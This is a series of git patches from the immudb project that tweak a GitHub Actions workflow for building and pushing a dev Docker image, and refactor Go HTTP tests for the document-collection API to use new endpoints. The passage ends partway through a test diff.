quotes around * --- .github/workflows/push-dev.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml index 78b05d6339..3fa57a5838 100644 --- a/.github/workflows/push-dev.yml +++ b/.github/workflows/push-dev.yml @@ -8,7 +8,7 @@ on: push: branches: - feat/objects - - * + - "*" jobs: name: build and push From e090ae45e1d78adf8fdc9ac50d8c1989676a7838 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 17 May 2023 17:35:39 +0200 Subject: [PATCH 0562/1062] Indent --- .github/workflows/push-dev.yml | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml index 3fa57a5838..d471b07a3c 100644 --- a/.github/workflows/push-dev.yml +++ b/.github/workflows/push-dev.yml @@ -11,16 +11,17 @@ on: - "*" jobs: - name: build and push - steps: - - uses: actions/setup-go@v3 - with: - go-version: ${{ env.GO_VERSION }} - - uses: actions/checkout@v3 - - run: | - GITTAG=$(git rev-parse HEAD | head -c 8) - docker build -t codenotary/immudb-dev1:$GITTAG . - docker image tag codenotary/immudb-dev1:latest - docker login -u "${{ secrets.REGISTRY_USER }}" -p "${{ secrets.REGISTRY_PASS }}" - docker image push codenotary/immudb-dev1:$GITTAG - docker image push codenotary/immudb-dev1:latest + build: + name: build and push + steps: + - uses: actions/setup-go@v3 + with: + go-version: ${{ env.GO_VERSION }} + - uses: actions/checkout@v3 + - run: | + GITTAG=$(git rev-parse HEAD | head -c 8) + docker build -t codenotary/immudb-dev1:$GITTAG . + docker image tag codenotary/immudb-dev1:latest + docker login -u "${{ secrets.REGISTRY_USER }}" -p "${{ secrets.REGISTRY_PASS }}" + docker image push codenotary/immudb-dev1:$GITTAG + docker image push codenotary/immudb-dev1:latest From e516c8664a5e1bc4dfb360c2a28ebb044d94709c Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 17 May 2023 17:40:27 +0200 Subject: [PATCH 0563/1062] Specified branch --- .github/workflows/push-dev.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml index d471b07a3c..c04336fbe2 100644 --- a/.github/workflows/push-dev.yml +++ b/.github/workflows/push-dev.yml @@ -8,7 +8,7 @@ on: push: branches: - feat/objects - - "*" + - "chore/github-dev" jobs: build: From 078f1b9457682772d6284927bfc3435761d00e78 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 17 May 2023 17:41:35 +0200 Subject: [PATCH 0564/1062] Added runs-on --- .github/workflows/push-dev.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml index c04336fbe2..20c91b05f3 100644 --- a/.github/workflows/push-dev.yml +++ b/.github/workflows/push-dev.yml @@ -13,6 +13,7 @@ on: jobs: build: name: build and push + runs-on: ubuntu-latest steps: - uses: actions/setup-go@v3 with: From f155888c28dc5b21e9019e34a16fbde01f4d26b3 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 17 May 2023 17:44:48 +0200 Subject: [PATCH 0565/1062] Fixed tag --- .github/workflows/push-dev.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml index 20c91b05f3..b7d5b37a21 100644 --- a/.github/workflows/push-dev.yml +++ b/.github/workflows/push-dev.yml @@ -1,4 +1,4 @@ -name: pushCI +name: build-push-dev env: GO_VERSION: "1.18" @@ -22,7 +22,7 @@ jobs: - run: | GITTAG=$(git rev-parse HEAD | head -c 8) docker build -t codenotary/immudb-dev1:$GITTAG . - docker image tag codenotary/immudb-dev1:latest + docker image tag codenotary/immudb-dev1:$GITTAG codenotary/immudb-dev1:latest docker login -u "${{ secrets.REGISTRY_USER }}" -p "${{ secrets.REGISTRY_PASS }}" docker image push codenotary/immudb-dev1:$GITTAG docker image push codenotary/immudb-dev1:latest From bddfbb19641ce19579355e100e5775fcf94b23bc Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 17 May 2023 17:55:23 +0200 Subject: [PATCH 0566/1062] Removed branch --- .github/workflows/push-dev.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml index b7d5b37a21..904f1e250f 100644 --- a/.github/workflows/push-dev.yml +++ b/.github/workflows/push-dev.yml @@ -8,7 +8,6 @@ on: push: branches: - feat/objects - - "chore/github-dev" jobs: build: From d6e24cc57da2da7664787f99d0b1980497540bb8 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 16 May 2023 11:09:11 -0300 Subject: [PATCH 0567/1062] test(documents): tidy up Signed-off-by: Marco Sanchotene --- .../documents_tests/collections_test.go | 71 -------------- .../documents_tests/documents_test.go | 96 ------------------- .../auth_test.go | 0 .../collections_test.go | 69 +++++++------ .../documents_test.go | 82 ++++++++++------ .../{ => documents_tests_deprecated}/go.mod | 0 .../{ => documents_tests_deprecated}/go.sum | 0 .../testall.sh | 0 .../utils.go | 0 9 files changed, 84 insertions(+), 234 deletions(-) delete mode 100644 test/document_storage_tests/documents_tests/collections_test.go delete mode 100644 test/document_storage_tests/documents_tests/documents_test.go rename test/document_storage_tests/{documents_tests => documents_tests_deprecated}/auth_test.go (100%) rename test/document_storage_tests/{ => documents_tests_deprecated}/go.mod (100%) rename test/document_storage_tests/{ => documents_tests_deprecated}/go.sum (100%) rename test/document_storage_tests/{ => documents_tests_deprecated}/testall.sh (100%) rename test/document_storage_tests/{documents_tests => documents_tests_deprecated}/utils.go (100%) diff --git a/test/document_storage_tests/documents_tests/collections_test.go b/test/document_storage_tests/documents_tests/collections_test.go deleted file mode 100644 index 2cd0e74de2..0000000000 --- a/test/document_storage_tests/documents_tests/collections_test.go +++ /dev/null @@ -1,71 +0,0 @@ -/* -Copyright 2023 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package main - -import ( - "context" - "testing" - - "github.com/codenotary/immudb/pkg/api/httpclient" - "github.com/stretchr/testify/require" -) - -func TestCreateCollection(t *testing.T) { - client := getAuthorizedClient() - - err := createCollection(getStandarizedRandomString(), client) - require.NoError(t, err) -} - -func TestGetCollection(t *testing.T) { - client := getAuthorizedClient() - - collectionName := getStandarizedRandomString() - - err := createCollection(collectionName, client) - require.NoError(t, err) - - response, err := client.CollectionGetWithResponse(context.Background(), &httpclient.CollectionGetParams{ - Name: &collectionName, - }) - require.NoError(t, err) - require.True(t, response.StatusCode() == 200) - require.True(t, *response.JSON200.Collection.Name == collectionName) -} - -func TestListCollections(t *testing.T) { - client := getAuthorizedClient() - - collectionName := getStandarizedRandomString() - - err := createCollection(collectionName, client) - require.NoError(t, err) - - response, _ := client.CollectionListWithResponse(context.Background(), httpclient.CollectionListJSONRequestBody{}) - require.True(t, response.StatusCode() == 200) - - collectionFound := false - - for _, collection := range *response.JSON200.Collections { - if *collection.Name == collectionName { - collectionFound = true - break - } - } - - require.True(t, collectionFound) -} diff --git a/test/document_storage_tests/documents_tests/documents_test.go b/test/document_storage_tests/documents_tests/documents_test.go deleted file mode 100644 index 5e741e5c40..0000000000 --- a/test/document_storage_tests/documents_tests/documents_test.go +++ /dev/null @@ -1,96 +0,0 @@ -/* -Copyright 2023 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package main - -import ( - "context" - "fmt" - "testing" - - "github.com/codenotary/immudb/pkg/api/httpclient" - "github.com/google/uuid" - "github.com/stretchr/testify/require" -) - -func TestCreateDocument(t *testing.T) { - client := getAuthorizedClient() - - uuid := uuid.New() - - documentToInsert := make(map[string]interface{}) - documentToInsert["uuid"] = uuid.String() - documentToInsert["name"] = "John" - documentToInsert["surname"] = "Doe" - documentToInsert["age"] = 30 - - collectionName := getStandarizedRandomString() - - err := createCollection(collectionName, client) - require.NoError(t, err) - - req := httpclient.ModelDocumentInsertRequest{ - Collection: &collectionName, - Document: &documentToInsert, - } - response, err := client.DocumentInsertWithResponse(context.Background(), req) - require.NoError(t, err) - require.True(t, response.StatusCode() == 200) - - documentId := response.JSON200.DocumentId - - fieldName := "_id" - operator := httpclient.EQ - - query := httpclient.ModelQuery{ - Expressions: &[]httpclient.ModelQueryExpression{ - { - FieldComparisons: &[]httpclient.ModelFieldComparison{ - { - Field: &fieldName, - Operator: &operator, - Value: documentId, - }, - }, - }, - }, - } - - page := int64(1) - perPage := int64(1) - - searchReq := httpclient.ModelDocumentSearchRequest{ - Collection: &collectionName, - Query: &query, - Page: &page, - PerPage: &perPage, - } - - searchResponse, err := client.DocumentSearchWithResponse(context.Background(), searchReq) - require.NoError(t, err) - fmt.Println(searchResponse.StatusCode()) - require.True(t, searchResponse.StatusCode() == 200) - - revisions := *searchResponse.JSON200.Revisions - - firstDocument := (*revisions[0].Document) - - require.Equal(t, *documentId, firstDocument["_id"]) - require.Equal(t, float64(30), firstDocument["age"]) - require.Equal(t, "John", firstDocument["name"]) - require.Equal(t, "Doe", firstDocument["surname"]) - -} diff --git a/test/document_storage_tests/documents_tests/auth_test.go b/test/document_storage_tests/documents_tests_deprecated/auth_test.go similarity index 100% rename from test/document_storage_tests/documents_tests/auth_test.go rename to test/document_storage_tests/documents_tests_deprecated/auth_test.go diff --git a/test/document_storage_tests/documents_tests_deprecated/collections_test.go b/test/document_storage_tests/documents_tests_deprecated/collections_test.go index 4920cc438e..2cd0e74de2 100644 --- a/test/document_storage_tests/documents_tests_deprecated/collections_test.go +++ b/test/document_storage_tests/documents_tests_deprecated/collections_test.go @@ -20,57 +20,52 @@ import ( "context" "testing" - "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" - "github.com/stretchr/testify/assert" + "github.com/codenotary/immudb/pkg/api/httpclient" + "github.com/stretchr/testify/require" ) func TestCreateCollection(t *testing.T) { - client := getAuthorizedDocumentsClient() - collection := GetStandarizedRandomString() - indexKeys := make(map[string]immudbdocuments.DocumentschemaIndexOption) - primaryKeys := make(map[string]immudbdocuments.DocumentschemaIndexOption) - stringType := immudbdocuments.STRING - primaryKeys["test"] = immudbdocuments.DocumentschemaIndexOption{ - Type: &stringType, - } - req := immudbdocuments.DocumentServiceCollectionCreateJSONRequestBody{ - IndexKeys: &indexKeys, - PrimaryKeys: &primaryKeys, - Name: &collection, - } - response, _ := client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) - assert.True(t, response.StatusCode() == 200) - assert.True(t, *response.JSON200.Collection.Name == collection) + client := getAuthorizedClient() + + err := createCollection(getStandarizedRandomString(), client) + require.NoError(t, err) +} + +func TestGetCollection(t *testing.T) { + client := getAuthorizedClient() + + collectionName := getStandarizedRandomString() + + err := createCollection(collectionName, client) + require.NoError(t, err) - response, _ = client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) - assert.True(t, response.JSONDefault.Error != nil) + response, err := client.CollectionGetWithResponse(context.Background(), &httpclient.CollectionGetParams{ + Name: &collectionName, + }) + require.NoError(t, err) + require.True(t, response.StatusCode() == 200) + require.True(t, *response.JSON200.Collection.Name == collectionName) } func TestListCollections(t *testing.T) { - client := getAuthorizedDocumentsClient() - collectionName := CreateAndGetStandardTestCollection(client) + client := getAuthorizedClient() + + collectionName := getStandarizedRandomString() + + err := createCollection(collectionName, client) + require.NoError(t, err) + + response, _ := client.CollectionListWithResponse(context.Background(), httpclient.CollectionListJSONRequestBody{}) + require.True(t, response.StatusCode() == 200) - response, _ := client.DocumentServiceCollectionListWithResponse(context.Background(), immudbdocuments.DocumentServiceCollectionListJSONRequestBody{}) - assert.True(t, response.StatusCode() == 200) collectionFound := false + for _, collection := range *response.JSON200.Collections { if *collection.Name == collectionName { collectionFound = true - assert.True(t, collection.PrimaryKeys != nil) - assert.True(t, collection.IndexKeys == nil) break } } - assert.True(t, collectionFound) -} -func TestGetCollection(t *testing.T) { - client := getAuthorizedDocumentsClient() - collectionName := CreateAndGetStandardTestCollection(client) - - response, _ := client.DocumentServiceCollectionGetWithResponse(context.Background(), &immudbdocuments.DocumentServiceCollectionGetParams{ - Name: &collectionName, - }) - assert.True(t, response.StatusCode() == 200) - assert.True(t, *response.JSON200.Collection.Name == collectionName) + require.True(t, collectionFound) } diff --git a/test/document_storage_tests/documents_tests_deprecated/documents_test.go b/test/document_storage_tests/documents_tests_deprecated/documents_test.go index befbde88bb..5e741e5c40 100644 --- a/test/document_storage_tests/documents_tests_deprecated/documents_test.go +++ b/test/document_storage_tests/documents_tests_deprecated/documents_test.go @@ -21,54 +21,76 @@ import ( "fmt" "testing" - "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" + "github.com/codenotary/immudb/pkg/api/httpclient" "github.com/google/uuid" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestCreateDocument(t *testing.T) { - client := getAuthorizedDocumentsClient() - id := uuid.New() - documentId := id.String() + client := getAuthorizedClient() + + uuid := uuid.New() + documentToInsert := make(map[string]interface{}) - documentToInsert["_id"] = id.String() + documentToInsert["uuid"] = uuid.String() documentToInsert["name"] = "John" documentToInsert["surname"] = "Doe" documentToInsert["age"] = 30 - documentsToInsert := []map[string]interface{}{documentToInsert} - collectionName := CreateAndGetStandardTestCollection(client) - req := immudbdocuments.DocumentschemaDocumentInsertRequest{ + collectionName := getStandarizedRandomString() + + err := createCollection(collectionName, client) + require.NoError(t, err) + + req := httpclient.ModelDocumentInsertRequest{ Collection: &collectionName, - Document: &documentsToInsert, + Document: &documentToInsert, } - response, _ := client.DocumentServiceDocumentInsertWithResponse(context.Background(), req) - assert.True(t, response.StatusCode() == 200) - page := int64(1) - perPage := int64(100) - operator := immudbdocuments.EQ + response, err := client.DocumentInsertWithResponse(context.Background(), req) + require.NoError(t, err) + require.True(t, response.StatusCode() == 200) + + documentId := response.JSON200.DocumentId + fieldName := "_id" - query := []immudbdocuments.DocumentschemaDocumentQuery{ - { - Field: &fieldName, - Value: &documentId, - Operator: &operator, + operator := httpclient.EQ + + query := httpclient.ModelQuery{ + Expressions: &[]httpclient.ModelQueryExpression{ + { + FieldComparisons: &[]httpclient.ModelFieldComparison{ + { + Field: &fieldName, + Operator: &operator, + Value: documentId, + }, + }, + }, }, } - searchReq := immudbdocuments.DocumentschemaDocumentSearchRequest{ + + page := int64(1) + perPage := int64(1) + + searchReq := httpclient.ModelDocumentSearchRequest{ Collection: &collectionName, + Query: &query, Page: &page, PerPage: &perPage, - Query: &query, } - searchResponse, _ := client.DocumentServiceDocumentSearchWithResponse(context.Background(), searchReq) + + searchResponse, err := client.DocumentSearchWithResponse(context.Background(), searchReq) + require.NoError(t, err) fmt.Println(searchResponse.StatusCode()) - assert.True(t, searchResponse.StatusCode() == 200) - documents := *searchResponse.JSON200.Results - first := documents[0] - assert.True(t, first["_id"] == documentId) - assert.True(t, first["age"] == 30) - assert.True(t, first["name"] == "John") - assert.True(t, first["surname"] == "Doe") + require.True(t, searchResponse.StatusCode() == 200) + + revisions := *searchResponse.JSON200.Revisions + + firstDocument := (*revisions[0].Document) + + require.Equal(t, *documentId, firstDocument["_id"]) + require.Equal(t, float64(30), firstDocument["age"]) + require.Equal(t, "John", firstDocument["name"]) + require.Equal(t, "Doe", firstDocument["surname"]) } diff --git a/test/document_storage_tests/go.mod b/test/document_storage_tests/documents_tests_deprecated/go.mod similarity index 100% rename from test/document_storage_tests/go.mod rename to test/document_storage_tests/documents_tests_deprecated/go.mod diff --git a/test/document_storage_tests/go.sum b/test/document_storage_tests/documents_tests_deprecated/go.sum similarity index 100% rename from test/document_storage_tests/go.sum rename to test/document_storage_tests/documents_tests_deprecated/go.sum diff --git a/test/document_storage_tests/testall.sh b/test/document_storage_tests/documents_tests_deprecated/testall.sh similarity index 100% rename from test/document_storage_tests/testall.sh rename to test/document_storage_tests/documents_tests_deprecated/testall.sh diff --git a/test/document_storage_tests/documents_tests/utils.go b/test/document_storage_tests/documents_tests_deprecated/utils.go similarity index 100% rename from test/document_storage_tests/documents_tests/utils.go rename to test/document_storage_tests/documents_tests_deprecated/utils.go From 9bcb42c77bbd6b892054ba0c1b4be578b59e5dff Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 16 May 2023 11:09:30 -0300 Subject: [PATCH 0568/1062] test(documents): adapt tests to latest changes Signed-off-by: Marco Sanchotene --- .../actions/create_collections.go | 6 ++--- .../create_collections_test.go | 25 ++++++++----------- .../delete_collections_test.go | 25 +++++++------------ 3 files changed, 23 insertions(+), 33 deletions(-) diff --git a/test/document_storage_tests/documents_tests/actions/create_collections.go b/test/document_storage_tests/documents_tests/actions/create_collections.go index bf81c074d0..9196068374 100644 --- a/test/document_storage_tests/documents_tests/actions/create_collections.go +++ b/test/document_storage_tests/documents_tests/actions/create_collections.go @@ -17,6 +17,7 @@ limitations under the License. package actions import ( + "fmt" "net/http" "github.com/gavv/httpexpect/v2" @@ -159,15 +160,14 @@ func CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(expect *httpexpect } func createCollection(expect *httpexpect.Expect, sessionID string, payload map[string]interface{}) *httpexpect.Object { - expect.PUT("/collections/create"). + expect.PUT("/collections"). WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object().Empty() - collection := expect.GET("/collections/get"). + collection := expect.GET(fmt.Sprintf("/collection/%s", payload["name"])). WithHeader("grpc-metadata-sessionid", sessionID). - WithQuery("name", payload["name"]). Expect(). Status(http.StatusOK). JSON().Object() diff --git a/test/document_storage_tests/documents_tests/create_collections_test.go b/test/document_storage_tests/documents_tests/create_collections_test.go index 9332eb287a..bd6d51cb61 100644 --- a/test/document_storage_tests/documents_tests/create_collections_test.go +++ b/test/document_storage_tests/documents_tests/create_collections_test.go @@ -17,6 +17,7 @@ limitations under the License. package main import ( + "fmt" "net/http" "testing" @@ -158,7 +159,7 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameMultipleFieldsA func (s *CreateCollectionsTestSuite) TestCreateCollectionWithEmptyBody() { payload := map[string]interface{}{} - s.expect.PUT("/collections/create"). + s.expect.PUT("/collections"). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). @@ -191,7 +192,7 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameButWithField }, } - s.expect.PUT("/collections/create"). + s.expect.PUT("/collections"). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). @@ -203,7 +204,7 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithIntegerName() { "name": 123, } - s.expect.PUT("/collections/create"). + s.expect.PUT("/collections"). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). @@ -217,15 +218,14 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidFi "fields": "birth_date", } - s.expect.PUT("/collections/create"). + s.expect.PUT("/collections"). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). Status(http.StatusBadRequest).JSON().Object().NotEmpty() - s.expect.GET("/collections/get"). + s.expect.GET(fmt.Sprintf("/collection/%s", payload["name"])). WithHeader("grpc-metadata-sessionid", s.sessionID). - WithQuery("name", payload["name"]). Expect(). Status(http.StatusInternalServerError). JSON().Object().NotEmpty() @@ -237,13 +237,13 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyFiel "fields": "", } - s.expect.PUT("/collections/create"). + s.expect.PUT("/collections"). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). Status(http.StatusBadRequest).JSON().Object().NotEmpty() - s.expect.GET("/collections/get"). + s.expect.GET(fmt.Sprintf("/collection/%s", payload["name"])). WithHeader("grpc-metadata-sessionid", s.sessionID). WithQuery("name", payload["name"]). Expect(). @@ -256,23 +256,20 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() { "name": uuid.New().String(), } - s.expect.PUT("/collections/create"). + s.expect.PUT("/collections"). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object().Empty() - s.expect.PUT("/collections/create"). + s.expect.PUT("/collections"). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). Status(http.StatusInternalServerError).JSON().Object().NotEmpty() - listPayload := map[string]interface{}{} - - collections := s.expect.POST("/collections/list"). + collections := s.expect.GET("/collections"). WithHeader("grpc-metadata-sessionid", s.sessionID). - WithJSON(listPayload). Expect(). Status(http.StatusOK). JSON().Object() diff --git a/test/document_storage_tests/documents_tests/delete_collections_test.go b/test/document_storage_tests/documents_tests/delete_collections_test.go index fcca6c6075..6e9cc29b18 100644 --- a/test/document_storage_tests/documents_tests/delete_collections_test.go +++ b/test/document_storage_tests/documents_tests/delete_collections_test.go @@ -17,6 +17,7 @@ limitations under the License. package main import ( + "fmt" "net/http" "testing" @@ -41,16 +42,14 @@ func (s *DeleteCollectionsTestSuite) SetupTest() { func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithName() { actions.CreateCollectionWithName(s.expect, s.token, s.collection_name) - s.expect.DELETE("/collections/delete"). + s.expect.DELETE(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", s.collection_name). Expect(). Status(http.StatusOK). JSON().Object().Empty() - s.expect.GET("/collections/get"). + s.expect.GET(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", s.collection_name). Expect(). Status(http.StatusInternalServerError) } @@ -58,16 +57,14 @@ func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithName() { func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndOneField() { actions.CreateCollectionWithNameAndOneField(s.expect, s.token, s.collection_name) - s.expect.DELETE("/collections/delete"). + s.expect.DELETE(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", s.collection_name). Expect(). Status(http.StatusOK). JSON().Object().Empty() - s.expect.GET("/collections/get"). + s.expect.GET(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", s.collection_name). Expect(). Status(http.StatusInternalServerError) } @@ -75,32 +72,28 @@ func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndOneFi func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndMultipleFields() { actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.token, s.collection_name) - s.expect.DELETE("/collections/delete"). + s.expect.DELETE(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", s.collection_name). Expect(). Status(http.StatusOK). JSON().Object().Empty() - s.expect.GET("/collections/get"). + s.expect.GET(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", s.collection_name). Expect(). Status(http.StatusInternalServerError) } func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithIntegerName() { - s.expect.DELETE("/collections/delete"). + s.expect.DELETE(fmt.Sprintf("/collection/%d", 123)). WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", 123). Expect(). Status(http.StatusInternalServerError) } func (s *DeleteCollectionsTestSuite) TestDeleteNonExistingCollection() { - error := s.expect.DELETE("/collections/delete"). + error := s.expect.DELETE(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). - WithQuery("name", s.collection_name). Expect(). Status(http.StatusInternalServerError). JSON().Object() From bf30755f142d830c246cce6bdff200c37fcff547 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Fri, 19 May 2023 09:30:40 -0300 Subject: [PATCH 0569/1062] test(documents): adapt tests to latest changes once again Signed-off-by: Marco Sanchotene --- .../actions/create_collections.go | 30 +++----- .../create_collections_test.go | 75 +++---------------- .../delete_collections_test.go | 7 -- 3 files changed, 22 insertions(+), 90 deletions(-) diff --git a/test/document_storage_tests/documents_tests/actions/create_collections.go b/test/document_storage_tests/documents_tests/actions/create_collections.go index 9196068374..d18bba98c5 100644 --- a/test/document_storage_tests/documents_tests/actions/create_collections.go +++ b/test/document_storage_tests/documents_tests/actions/create_collections.go @@ -24,16 +24,11 @@ import ( ) func CreateCollectionWithName(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { - payload := map[string]interface{}{ - "name": name, - } - - return createCollection(expect, sessionID, payload) + return createCollection(expect, sessionID, name, nil) } func CreateCollectionWithNameAndOneField(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ - "name": name, "fields": []interface{}{ map[string]interface{}{ "name": "first_name", @@ -42,21 +37,19 @@ func CreateCollectionWithNameAndOneField(expect *httpexpect.Expect, sessionID st }, } - return createCollection(expect, sessionID, payload) + return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameAndIdFieldName(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ - "name": name, "documentIdFieldName": "emp_no", } - return createCollection(expect, sessionID, payload) + return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameIdFieldNameAndOneField(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ - "name": name, "documentIdFieldName": "emp_no", "fields": []interface{}{ map[string]interface{}{ @@ -66,12 +59,11 @@ func CreateCollectionWithNameIdFieldNameAndOneField(expect *httpexpect.Expect, s }, } - return createCollection(expect, sessionID, payload) + return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameOneFieldAndOneUniqueIndex(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ - "name": name, "fields": []interface{}{ map[string]interface{}{ "name": "id_number", @@ -88,12 +80,11 @@ func CreateCollectionWithNameOneFieldAndOneUniqueIndex(expect *httpexpect.Expect }, } - return createCollection(expect, sessionID, payload) + return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameAndMultipleFields(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ - "name": name, "fields": []interface{}{ map[string]interface{}{ "name": "birth_date", @@ -118,12 +109,11 @@ func CreateCollectionWithNameAndMultipleFields(expect *httpexpect.Expect, sessio }, } - return createCollection(expect, sessionID, payload) + return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ - "name": name, "fields": []interface{}{ map[string]interface{}{ "name": "birth_date", @@ -156,17 +146,17 @@ func CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(expect *httpexpect }, } - return createCollection(expect, sessionID, payload) + return createCollection(expect, sessionID, name, payload) } -func createCollection(expect *httpexpect.Expect, sessionID string, payload map[string]interface{}) *httpexpect.Object { - expect.PUT("/collections"). +func createCollection(expect *httpexpect.Expect, sessionID string, name string, payload map[string]interface{}) *httpexpect.Object { + expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object().Empty() - collection := expect.GET(fmt.Sprintf("/collection/%s", payload["name"])). + collection := expect.GET(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", sessionID). Expect(). Status(http.StatusOK). diff --git a/test/document_storage_tests/documents_tests/create_collections_test.go b/test/document_storage_tests/documents_tests/create_collections_test.go index bd6d51cb61..1ed37fe9a0 100644 --- a/test/document_storage_tests/documents_tests/create_collections_test.go +++ b/test/document_storage_tests/documents_tests/create_collections_test.go @@ -159,72 +159,26 @@ func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameMultipleFieldsA func (s *CreateCollectionsTestSuite) TestCreateCollectionWithEmptyBody() { payload := map[string]interface{}{} - s.expect.PUT("/collections"). + s.expect.POST(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). - Status(http.StatusBadRequest).JSON().Object().NotEmpty() -} - -func (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameButWithFields() { - payload := map[string]interface{}{ - "fields": []interface{}{ - map[string]interface{}{ - "name": "birth_date", - "type": "STRING", - }, - map[string]interface{}{ - "name": "first_name", - "type": "STRING", - }, - map[string]interface{}{ - "name": "last_name", - "type": "STRING", - }, - map[string]interface{}{ - "name": "gender", - "type": "STRING", - }, - map[string]interface{}{ - "name": "hire_date", - "type": "STRING", - }, - }, - } - - s.expect.PUT("/collections"). - WithHeader("grpc-metadata-sessionid", s.sessionID). - WithJSON(payload). - Expect(). - Status(http.StatusBadRequest).JSON().Object().NotEmpty() -} - -func (s *CreateCollectionsTestSuite) TestCreateCollectionWithIntegerName() { - payload := map[string]interface{}{ - "name": 123, - } - - 